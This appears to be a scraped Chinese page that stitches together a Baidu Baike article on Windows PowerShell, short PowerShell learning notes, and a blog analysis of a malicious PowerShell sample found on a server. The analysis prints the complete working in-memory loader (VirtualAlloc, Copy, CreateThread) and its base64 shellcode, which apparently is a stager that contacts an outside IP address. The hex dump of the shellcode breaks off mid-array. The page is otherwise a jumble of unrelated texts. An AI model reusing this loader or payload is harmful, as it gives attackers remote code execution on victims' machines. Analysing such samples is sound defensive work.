精华内容
下载资源
问答
  • Windows Power Shell

    2013-03-04 15:10:21
    ...Windows Power Shell 求助编辑百科名片   Windows Power Shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Fra

    http://baike.baidu.com/view/2838635.htm?fromId=58531


    Windows Power Shell

    求助编辑百科名片

    Windows Power Shell   
    Windows Power Shell

    Windows PowerShell 是一种命令行外壳程序脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本

    编辑本段Windows PowerShell 简介

    目标受众
    Windows PowerShell 入门主要面向之前没有 Windows PowerShell 背景知识的 IT 专业人员、程序员和高级用户。虽然具备 脚本和 WMI 方面的背景知识会有所帮助,但是理解本文档并不假定或要求您具备此方面知识。
    关于 Windows PowerShell
    通过解决长期存在的问题并添加一些新的功能,Windows PowerShell 旨在改进命令行和 脚本环境。PowerShell以 .NET Framework为平台,接收和返回.NET对象,此举为管理和配置微软系统带来了新的方法和工具。
    可发现特性
    您可轻易发现 Windows Powershell 的功能。例如,若要查找用于查看和更改Windows 服务的cmdlet 列表,执行:开始->运行-> cmd,在命令行下输入 PowerShell 进入 windows PowerShell,再输入如下命令:
    get-command *-service
    在发现可完成任务的 cmdlet 之后,可以使用 Get-Help cmdlet 了解有关该 cmdlet 的详细信息。例如,若要显示有关 Get-Service cmdlet 的帮助,请键入:
    get-help get-service
    若要充分理解该 cmdlet 的输出,则可通过管道将其输出传递给 Get-Member cmdlet。例如,以下命令将通过 Get-Service cmdlet 显示有关该对象输出的成员的信息。
    get-service | get-member
    一致性
    管理系统可能是一项复杂的任务,而具有统一接口的工具将有助于控制其固有的复杂性。然而,无论是命令行工具还是可编写 脚本的 COM 对象,在一致性方面都乏善可陈。
    Windows PowerShell 的一致性是其主要优点中的一项。例如,如果您学会了如何使用 Sort-Object cmdlet,则可利用这一知识对任何 cmdlet 的输出进行排序。而无需了解每个 cmdlet 的不同的排序例程。
    此外,cmdlet 开发人员也不必为其 cmdlet 设计排序功能。Windows PowerShell 为他们提供了框架,而该框架可提供基本的功能,并强制他们在接口的许多方面保持一致。该框架虽然消除了通常会留给开发人员的某些选项,但作为回报,开发强健、易于使用的 cmdlet 的工作将更加简单。
    交互式脚本环境
    Windows PowerShell 将交互式环境和脚本环境组合在一起,从而允许您访问命令行工具和 COM 对象,同时还可利用 .NET Framework 类库 (FCL) 的强大功能。
    此环境对 Windows  命令提示符进行了改进,后者提供了带有多种命令行工具的交互式环境。此外,还对 Windows Script Host (WSH)  脚本进行了改进,后者允许您使用多种命令行工具和 COM 自动对象,但未提供交互式环境。
    通过将对所有这些功能的访问组合在一起,Windows PowerShell 扩展了交互用户和 脚本编写者的能力,从而更易于进行系统管理。
    尽管您可以通过以 文本方式键入命令与 Windows PowerShell 进行交互,但 Windows PowerShell 是基于对象的,而不是基于文本的。命令的输出即为对象。可以将输出对象发送给另一条命令以作为其输入。因此,Windows PowerShell 为曾使用过其他 外壳程序的人员提供了熟悉的界面,同时引入了新的、功能强大的命令行范例。通过允许发送对象(而不是文本),它扩展了在命令之间发送数据的概念。
    易于过渡到脚本
    使用 Windows PowerShell,您可以很方便地从以交互方式键入命令过渡到创建和 运行脚本。您可以在 Windows PowerShell  命令提示符下键入命令以找到可执行任务的命令。随后,可将这些命令保存到 脚本或历史记录中,然后将其复制到文件中以用作脚本。
    识别你即将使用的Provider 通过识别PowerShell里安装的Provider,你就可以了解默认安装下PowerShell提供了那些能力。 Provider可以使用一种简单的访问方式,暴露位于不同储存位置的数据。就像是浏览不同 磁盘上的目录结构一样简单。 Provider把不同的信息存放位置,表示成“ 驱动器”-目录这种结构,这样很容易被用户所理解。就像我们要访问一个位于D盘的WIN32目录下的SETUP.exe文件,我们要通过 浏览器,单击D盘的图标,然后选择WIN32目录并双击一样,如果我们要访问位于“注册表”的数据,那么我们也只需要简单地通过Set-Location命令,来到到“REGISTRY”这个“ 驱动器”,然后用GET-CHILDITEM命令获取其子数据就行了。
    注:实际上,PowerShell访问 磁盘驱动器,也是通过Provider的,切换驱动器其实和切换其他数据容器是一样地操作。 例如: Set-Location d:\ 这是切换驱动器 Set-Location HKLM:\ 这是切换到注册表的HKLM键 另外,Get-PSprovider命令,可以查看当前已经安装的所有PROVIDER。任何熟悉.NET编程的人,都可以编写Provider。当新的provider被安装后,就叫做snap-in。snap-in其实是一个 动态连接库dll文件,可以被安装到powershell中。然而,当一个snap-in安装后,却没有办法卸载。 Get-PSProvider: Name Capabilities Drives ---- ------------ ------ Alias ShouldProcess {Alias} Environment ShouldProcess {Env} FileSystem Filter, ShouldProcess {C, D, F, A...} Function ShouldProcess {Function} Registry ShouldProcess {HKLM, HKCU} Variable ShouldProcess {Variable} Certificate ShouldProcess {cert} 这些就是我机器上的默认安装后的provider。
    使用Set-Location和Get-ChildItem浏览数据 Set-Location用于改变 当前目录,以及选择当前的provider,而Get-ChildItem用于获取当前目录或者指定目录下的子对象: 例子: set-location hkcu:\software get-childitem 例子2: GCI -path HKLM:\software
    有两种连接WMI服务的方法:l 使用Get-WmiObject可以很容易地连接到WMI服务,并且获取WMI对象。 l 使用一个COM对象,“WbemScripting.SWbemLocator”,可以连接WMI的服务。SWbemLocator对象只有一个方法,就是ConnectServer()。该方法接受5个参数:用户名,密码,语言代码,验证方法(Kerberos, NTLM等),标志(超时值)。
    下例中,我们使用New-Object命令,创建了一个“WbemScripting.SWbemLocator”的实例。然后用这个实例的ConnectServer方法连接了到了一个WMI的名字空间(root\cimv2),ConnectServer方法返回了一个WMIService对象,接着又用这个对象的subClassesOf()方法,返回了一系列WMI的CLASS: $strComputer = "." $wmiNS = "\root\cimv2" $strUsr ="" #Blank for current security. Domain\Username $strPWD = "" #Blank for current security. $strLocl = "MS_409" #US English. Can leave blank for current language $strAuth = "" #if specify domain in strUsr this must be blank $iFlag = "0" #only two values allowed: 0 and 128. $objLocator = New-Object -comobject "WbemScripting.SWbemLocator" $objWMIService = $objLocator.ConnectServer($strComputer, ` $wmiNS, $strUsr, $strPWD, $strLocl, $strAuth, $iFLag) $colItems = $objWMIService.subClassesOf() Write-Host "There are: " $colItems.count " classes in $wmiNS" foreach ($objItem In $colItems) { $objItem.path_.class } 
    新脚本语言 
    由于以下原因,Windows PowerShell 使用它自己的语言,而不是重用现有的语言:
    Windows PowerShell 需要用于管理.NET 对象的语言。该语言需要为使用cmdlet 提供一致的环境。该语言需要支持复杂的任务,而不会使简单的任务变得更复杂。 该语言需要与在.NET  编程中使用的高级语言(如C#)一致。

    编辑本段PowerShell脚本十个基本概念

    1、PS1文件
    一个PowerShell脚本 [1] 其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要使用.PS1扩展。
    2、执行权限
    为防止 恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限的(Restricted),意味着PowerShell脚本无法执行,你可以使用下面的cmdlet命令确定当前的执行策略:
    Get-ExecutionPolicy 你可以选择使用的执行策略有:
    Restricted -  脚本不能运行。 RemoteSigned - 本地创建的 脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)。 AllSigned – 仅当 脚本由受信任的发布者签名才能运行。 Unrestricted –  脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
    你可以使用下面的cmdlet命令设置PowerShell的执行策略:
    Set-ExecutionPolicy <policy name>
    如果你想从命令行运行一个可执行文件,多年来一个永恒不变的方法是,在命令行转到该执行文件所在的位置,然后键入该执行文件的名称,但这个古老的方法现在却不能适用于PowerShell可执行 脚本了。
    如果你想执行一个PowerShell 脚本,通常必须键入完整的路径和文件名,例如,假设你要运行一个名为a.ps1的脚本,你可以键入:
    C:\Scripts\aps1 最大的例外是,如果PowerShell 脚本文件刚好位于你的系统目录中,那么你可以直接在 命令提示符后键入脚本文件名即可运行,如:
    .\a.ps1 注意前面需要加上.\,这和Linux下执行Shell脚本的方法如出一辙。
    4、管道
    管道的作用是将一个命令的输出作为另一个命令的输入,两个命令(或cmdlet)之间只需要用管道符号(|)连接即可。
    为了帮助你了解管道是如何工作的,我们以一个例子进行说明,假设你想创建运行在服务器上的进程列表,并按进程的ID号进行排序,可以使用Get-Process cmdlet命令获得进程列表,但默认情况下列表不会排序,如果将这个cmdlet命令的输出用管道输送给Sort-Object ID命令,进程列表将会按进程ID号进行排序,如:
    Get-Process | Sort-Object ID
    5、 变量
    虽然可以使用管道将一个命令的输出输送给另一个命令,但管道本身也是有限制的,当你用管道从一个命令向另一个命令传递输出结果时,输出结果立即被使用,但有时候,你可能需要保存输出结果一段时间,以便以后可以使用(或重用),这个时候管道就应该下场,轮到变量上场了。
    人们很容易将 变量想象成一个仓库,但在PowerShell中,变量可以保存命令的完整输出,例如,假设你想保存服务器处于运行中的进程列表,你可以将它赋给一个变量,如:
    $a = Get-Process 在这里, 变量被命名为$a,如果你想使用这个变量,只需要简单地调用它的名称即可,例如,键入$a便可在 屏幕上打印变量的内容。
    你可以将多个用管道连接的命令的最终输出赋给一个 变量,只需要用一对小括号将命令括起来即可,例如,假设你想按进程ID对运行中的进程进行排序,然后将结果输出给一个变量,你可以使用下面这个命令:
    $a = (Get-Process | Sort-Object ID)
    6、@符号
    通过使用@符号,你可以将列表内容转换成一个 数组,例如,下面的代码创建了一个名为$Procs的变量,它包含多行文本内容(一个数组):$procs = @{name="explorer","svchost"}
    使用 变量时你也可以使用@符号,为了确保它作为 数组而不是单个值处理,例如,下面的代码将在我前面定义的变量上运行Get-Process cmdlet命令:
    Get-Process @procs  Windows将显示 Windows 资源管理器和Svchost使用的所有进程,注意 变量前使用的@符号,而不是常见的$符号。
    7、Split
    Split操作符根据你指定的字符拆分一个文本字符串,例如,假设你想将一个句子拆分成一个单词组成的一个 数组,你可以使用下面的命令做到:
    "This is a test" -split " " 拆分后的结果如下:
    This is a test
    8、Join
    就像Split可以将一个文本字符串拆分成多块一样,Join的操作则是逆向的,将多个独立的块连接成一个整体,例如,下面这行代码将会创建一个文本字符串,由我的名字和姓氏组成:
    "Brien","Posey" -join " " 命令末尾双引号之间的空格告诉Windows在两个文本字符串之间插入一个空格。
    9、 断点
    运行一个新创建的PowerShell 脚本时,如果脚本有Bug,会遇到意想不到的后果,保护自己的一个方法是在脚本的关键位置插入 断点,这样你就可以确保脚本正常运行先,然后再处理可能存在的问题。
    插入断点最简单的方法是根据 行号插入,例如,假设你要在第10行插入一个断点,可以使用下面的命令:
    New-PSBreakpoint -Script C:\Scripts\a.ps1 -Line 10 你也可以将 断点绑定到变量上,如果你希望你的 脚本任何时候都可以修改a$的内容,可以使用下面的命令:
    New-PSBreakpoint -Script C:\scripts\a.ps1 -variables a 注意,我在 变量名后并没有包括美元符号。
    可以和PSBreakpoint一起使用的动词包括New,Get,Enable,Disable和Remove。
    10、Step
    调试一个 脚本时,有时可能需要逐行 运行脚本,这时你可以使用Step-Into cmdlet命令,它会使脚本一行一行地执行,不管有没有设置断点,如果你想从这种步进式运行模式退出来,使用Step-Out cmdlet命令即可,但需要注意的是,使用Step-Out cmdlet命令后,断点仍然有效。
    顺便说一句,如果你的 脚本使用了函数,你可能对Step-Out cmdlet更感兴趣,Step-Out的工作方式和Step-Into一样,不过,如果调用了一个函数,Windows不会逐步执行,整个函数将会一次性执行。

    编辑本段PowerShell v3概述

    Windows PowerShell v3将伴随着Microsoft  Hyper-V 3.0和 Windows Server 2012发布。PowerShell v3是一个Windows任务自动化的框架,它由一个命令行shell和内置在这个.NET框架上的 编程语言组成。
    PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中,这些进程可以制作成可执行的文件或 脚本(script)。一条cmdlet是一条轻量命令,Windows PowerShell运行时间在自动化 脚本的环境里调用它。Cmdlet包括显示当前目录的Get-Location,访问文件内容的Get-Content和结束运行进程的Stop-Process。
    PowerShell v3在Windows Server 8中装载了Windows Management Framework 3.0。PowerShell运行时间也能嵌入到其它应用。

    编辑本段PowerShell v3优缺点

    PowerShell v3优点

    PowerShell v3将在PowerShell上打造管理的大部分,也提供GUI管理选项以及命令行自动化。v3引入了一些相当重要的新功能。
    更好的 远程处理
    PowerShell远程已经逐渐成为在网络上进行管理通信的主要渠道。越来越多的GUI管理控制台将依赖远程,因此加强PowerShell远程对 微软很重要。现在能够断开远程会话,稍后能从同个或不同的计算机重新连接到相同的会话。 客户端计算机崩溃的话,v3的社区技术预览版不能断开会话。相反,会话会永久关闭。所以这与 远程桌面完全不同,远程桌面会话能在 客户端崩溃时配置并打开会话。
    本质上,PowerShell新的工作流构建能写入与功能类似的东西,使用PowerShell翻译命令和 脚本代码到Windows工作流技术WWF进程中。WWF然后能管理整个任务,包括修复 网络故障与重启计算机等。它是编排长期运行的、复杂的、多步骤任务的更有效更可靠的一种方式。如果这个功能与下一个版本的System Center Orchestrator集成。
    可更新的帮助
    PowerShell与帮助文件中的错误做斗争。 微软需要发布一个操作系统补丁。基于TechNet站点的在线帮助的存在减轻了这个问题,但杯水车薪。在v3中,帮助文件能按需更新,从任何 微软服务器都可下载新的XML文件。所以 微软就能根据找到的问题进行错误修复,不需要操作系统包或补丁。
    预定任务(Scheduled Job)
    owerShell v2引入了job,遵循的是job随着时间扩展的理念。在v3中,新型job即scheduled job能被创建并按计划运行,或者相应某个事件。这与Windows的Task Scheduler的区别只是其中一小点,不过最终用户能从PowerShell中获得这个功能。
    更好的发现
    关于命令行shell的一个困难部分在于如何使用。PowerShell的帮助系统很有用,需要提供用户想知道的命令的名字,并提供命令所在的插件名字,并记得加载附件到内存中。而PowerShell v3在搜索命令时,包含所有安装模块的所有命令,shell会运行没有装载的命令。这只能在那些存储在列于PSModulePath 环境变量中的文件路径中的模块有用。如果要包含额外路径,可以在任何时候修改变量。
    额外功能:CIM
    PowerShell与Windows管理规范WMI运作很好,WMI是 微软的一项技术,或多或少建立在标准的通用 信息模块CIM上。在PowerShell v3中,WMI cmdlet发挥余热,加入到新的CIM cmdlet集中。功能看起来似乎有重叠:CIM cmdlet使用WS-MAN,这个协议位于PowerShell的Remoting功能,微软管理功能的新标准的后面。WMI使用被 微软正式弃用的DCOM,意味着不会再开发新功能,但可一直使用。CIM是未来的方向,不仅有对已知WMI的额外开发,而且在未来还可跨平台管理。

    PowerShell v3缺点

    新的Hyper-V 3.0 cmdlets不能管理老版本的Hyper-V。这意味着管理员根据Hyper-V的不同必须采用不同的 脚本去管理,直至完成所有宿主机的升级。
    Hyper-V 3.0和老版本不兼容。使用老版本Hyper-V的管理员需要从 CodePlex下载PowerShell Library for Hyper-V。

    展开全文
  • Power Shell 学习笔记

    千次阅读 2011-04-14 14:14:00
    当然批处理不是万能的,有的时候会出现一些问题不好转化成批处理,但是随着Power Shell的出现,这种情况彻底改变了。相信以后power shell 将会成为所有实施人员的必备技能。下面让我们来简单了解一下power shell吧。...

    当你拿到一台全新的电脑的时候,都是如何搭建系统环境的?手动创建用户组,手动配置各个服务的权限吗?起码,应该学习下批处理命令写法吧,你会节省大量配置时间的。当然批处理不是万能的,有的时候会出现一些问题不好转化成批处理,但是随着Power Shell的出现,这种情况彻底改变了。相信以后power shell 将会成为所有实施人员的必备技能。下面让我们来简单了解一下power shell吧。

    Windows PowerShell 设计目标

    Windows PowerShell 是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用。

    与接受和返回文本的大多数外壳程序不同,Windows PowerShell 是在 .NET 公共语言运行时 (CLR) 和 .NET Framework 的基础上构建的,它接受和返回 .NET 对象。环境中的这一根本更改带来了管理和配置 Windows 的全新工具和方法。

    Windows PowerShell 引入了 cmdlet(读作“command-let”)的概念,这是内置到外壳程序中的一个简单的单一功能命令行工具。可以分别使用每个 cmdlet,但是组合使用这些简单的工具执行复杂任务时才发挥其作用。Windows PowerShell 包括一百多个基本的核心 cmdlet,您可以编写自己的 cmdlet 并与其他用户共享它们。

    与许多外壳程序一样,Windows PowerShell 为您提供了对计算机上文件系统的访问。此外,使用 Windows PowerShell 提供程序,还可以访问其他数据存储区,如注册表和数字签名证书存储区,与访问文件系统一样容易。

    Windows PowerShell 简介

    大多数外壳程序(包括 Cmd.exe 以及 SH、KSH、CSH 和 BASH Unix 外壳程序)的运行方式是在新进程中执行命令或实用工具,然后将结果以文本形式显示给用户。经过数年的发展,许多文本处理实用工具(如 sed、AWK 和 PERL)现已发展为支持此交互。

    这些外壳程序还具有内置到外壳程序中并在外壳程序进程中运行的命令,如 KSH 中的 typeset 命令和 Cmd.exe 中的 dir 命令。在大多数的外壳程序中,由于内置命令很少,因此创建了许多实用工具。

    Windows PowerShell 有很大不同。

    · Windows PowerShell 不处理文本。相反,它基于 .NET 平台处理对象。

    · Windows PowerShell 附带了具有一致界面的大量内置命令。

    · 所有的外壳程序命令都使用同一命令分析程序,而不是每个工具使用不同的分析程序。这样便可更轻松地学习如何使用每个命令。

    其最好的优点在于,您不必忍痛舍弃自己惯用的工具。仍可以在 Windows PowerShell 中使用传统的 Windows 工具,如 Net、SC 和 Reg.exe。

    Windows PowerShell 小结

    Power shell 就像是批处理程序的扩展版本,解决了批处理只能调用编译好的exe程序的缺陷。提供了对.net的对象直接调用的功能。使得我们过去需要写exe来实现的功能可以转化为纯ps脚本实现。非常接近Linux和Unix下的shell编程了。当然,目前Power Shell仅仅支持windows Server操作系统(话说个人电脑也不怎么需要),而且需要.net的支持。本次学习基于Windows Server 2008R2 的power shell 2.0.

    展开全文
  • 网络管理员在服务器上通过网络监控软件检测到,有程序在不断向外发包,并且ip地址显示国外的区域,经过相关安全工程师的分析和定位,最确定是微软操作系统上的Power Shell程序出现异常。发现的这个Power Shell程序和...

    本文链接网址:http://blog.csdn.net/qq1084283172/article/details/45690529

    一、事件回放

    网络管理员在服务器上通过网络监控软件检测到,有程序在不断向外发包,并且ip地址显示国外的区域,经过相关安全工程师的分析和定位,最确定是微软操作系统上的Power Shell程序出现异常。发现的这个Power Shell程序和微软操作系统上的Power Shell程序不同,出现异常的这个Power Shell会不断的向外发包。经过该安全工程师的分析和反编译程序,最终得到了下面这段关键的代码,其中黄色部分的代码是最为关键的,后面会对这段代码进行解释和分析:

    function eioVqZzdV {

         Param ($eoSKcVTjfxS, $p0d9j)        

         $f4Al9fb6 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        

         return $f4Al9fb6.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f4Al9fb6.GetMethod('GetModuleHandle')).Invoke($null, @($eoSKcVTjfxS)))), $p0d9j))

    }


    function mGIgrD {

         Param (

             [Parameter(Position = 0, Mandatory = $True)] [Type[]] $ejQ7pbH8K,

             [Parameter(Position = 1)] [Type] $za4NhlFE = [Void]

         )

         $lqSy6La = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

         $lqSy6La.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $ejQ7pbH8K).SetImplementationFlags('Runtime, Managed')

         $lqSy6La.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $za4NhlFE, $ejQ7pbH8K).SetImplementationFlags('Runtime, Managed')

        

         return $lqSy6La.CreateType()

    }


    [Byte[]]$umdAM8XBH = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi

    1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29

    tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA

    Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9

    XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3MTQ2LjAuN

    DMuMTA3AA==") 


    $ro8d50FQZ0 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll VirtualAlloc), (mGIgrD @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $umdAM8XBH.Length,0x3000, 0x40)

    [System.Runtime.InteropServices.Marshal]::Copy($umdAM8XBH, 0, $ro8d50FQZ0, $umdAM8XBH.length)


    $mLkBWmZ3 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll CreateThread), (mGIgrD @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$ro8d50FQZ0,[IntPtr]::Zero,0,[IntPtr]::Zero)

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll WaitForSingleObject), (mGIgrD @([IntPtr], [Int32]))).Invoke($mLkBWmZ3,0xffffffff| Out-Null


    二、对反编译关键代码的注释

    //Base64编码的字符串数组$umdAM8XBH

    [Byte[]]$umdAM8XBH =[System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi

    1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29

    tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA

    Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9

    XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3MTQ2LjAuN

    DMuMTA3AA==")

            

    //调用kernel32.dll库的函数VirtualAlloc在进程堆上分配0x3000大小的内存空间$ro8d50FQZ0保存申请内存空间的地址

    $ro8d50FQZ0 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll VirtualAlloc), (mGIgrD @([IntPtr], [UInt32], [UInt32],[UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $umdAM8XBH.Length,0x3000, 0x40)

     

    //调用函数Copy从数组$umdAM8XBH中拷贝字符串到新申请的内存空间$ro8d50FQZ0

    [System.Runtime.InteropServices.Marshal]::Copy($umdAM8XBH, 0, $ro8d50FQZ0, $umdAM8XBH.length)

     

    //调用kernel32.dll库中函数CreateThread创建线程并且线程的回调函数的地址为数组$ro8d50FQZ0的字符串地址

    $mLkBWmZ3 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll CreateThread), (mGIgrD @([IntPtr], [UInt32], [IntPtr],[IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$ro8d50FQZ0,[IntPtr]::Zero,0,[IntPtr]::Zero)

     

    //调用kernel32.dll库中的函数WaitForSingleObject等待线程的创建成功

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll WaitForSingleObject), (mGIgrD @([IntPtr],[Int32]))).Invoke($mLkBWmZ3,0xffffffff| Out-Null

     

    二、黄色部分Base64字符串的解码

    //很明显数组$umdAM8XBH中的字符是ShellCode代码但是需要先Base64解码:

    [Byte[]]$umdAM8XBH =[System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi

    1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29

    tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA

    Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9

    XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3MTQ2LjAuN

    DMuMTA3AA==")

     

    黄色部分的字符串的解码

    Base64编码字符串在线解码的网址:http://www1.tc711.com/tool/BASE64.htm

    1.Base64字符串解码成字符串--显然这种解码方式是不对的


    2.其实这段Base64加密的编码解密出来是一段ShellCode也就是一段可执行代码不是一个Http的发送包

    char shellCode[] = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89"
    "\xe5\x31\xd2\x64\x8b\x52\x30\x8b" 
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28" 
    "\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1" 
    "\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" 
    "\x8b\x52\x10\x8b\x42\x3c\x01\xd0" 
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01" 
    "\xd0\x50\x8b\x48\x18\x8b\x58\x20" 
    "\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" 
    "\x01\xd6\x31\xff\x31\xc0\xac\xc1" 
    "\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" 
    "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2" 
    "\x58\x8b\x58\x24\x01\xd3\x66\x8b" 
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 
    "\x04\x8b\x01\xd0\x89\x44\x24\x24" 
    "\x5b\x5b\x61\x59\x5a\x51\xff\xe0" 
    "\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" 
    "\x68\x6e\x65\x74\x00\x68\x77\x69" 
    "\x6e\x69\x54\x68\x4c\x77\x26\x07" 
    "\xff\xd5\xe8\x80\x00\x00\x00\x4d" 
    "\x6f\x7a\x69\x6c\x6c\x61\x2f\x35" 
    "\x2e\x30\x20\x28\x63\x6f\x6d\x70" 
    "\x61\x74\x69\x62\x6c\x65\x3b\x20" 
    "\x4d\x53\x49\x45\x20\x31\x30\x2e" 
    "\x30\x3b\x20\x57\x69\x6e\x64\x6f" 
    "\x77\x73\x20\x4e\x54\x20\x36\x2e" 
    "\x32\x3b\x20\x57\x4f\x57\x36\x34" 
    "\x3b\x20\x54\x72\x69\x64\x65\x6e" 
    "\x74\x2f\x36\x2e\x30\x3b\x20\x54" 
    "\x6f\x75\x63\x68\x3b\x20\x4d\x41" 
    "\x53\x50\x4a\x53\x29\x00\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x58\x58" 
    "\x58\x58\x58\x58\x58\x58\x00\x59" 
    "\x31\xff\x57\x57\x57\x57\x51\x68" 
    "\x3a\x56\x79\xa7\xff\xd5\xeb\x79" 
    "\x5b\x31\xc9\x51\x51\x6a\x03\x51" 
    "\x51\x68\x50\x00\x00\x00\x53\x50" 
    "\x68\x57\x89\x9f\xc6\xff\xd5\xeb" 
    "\x62\x59\x31\xd2\x52\x68\x00\x02" 
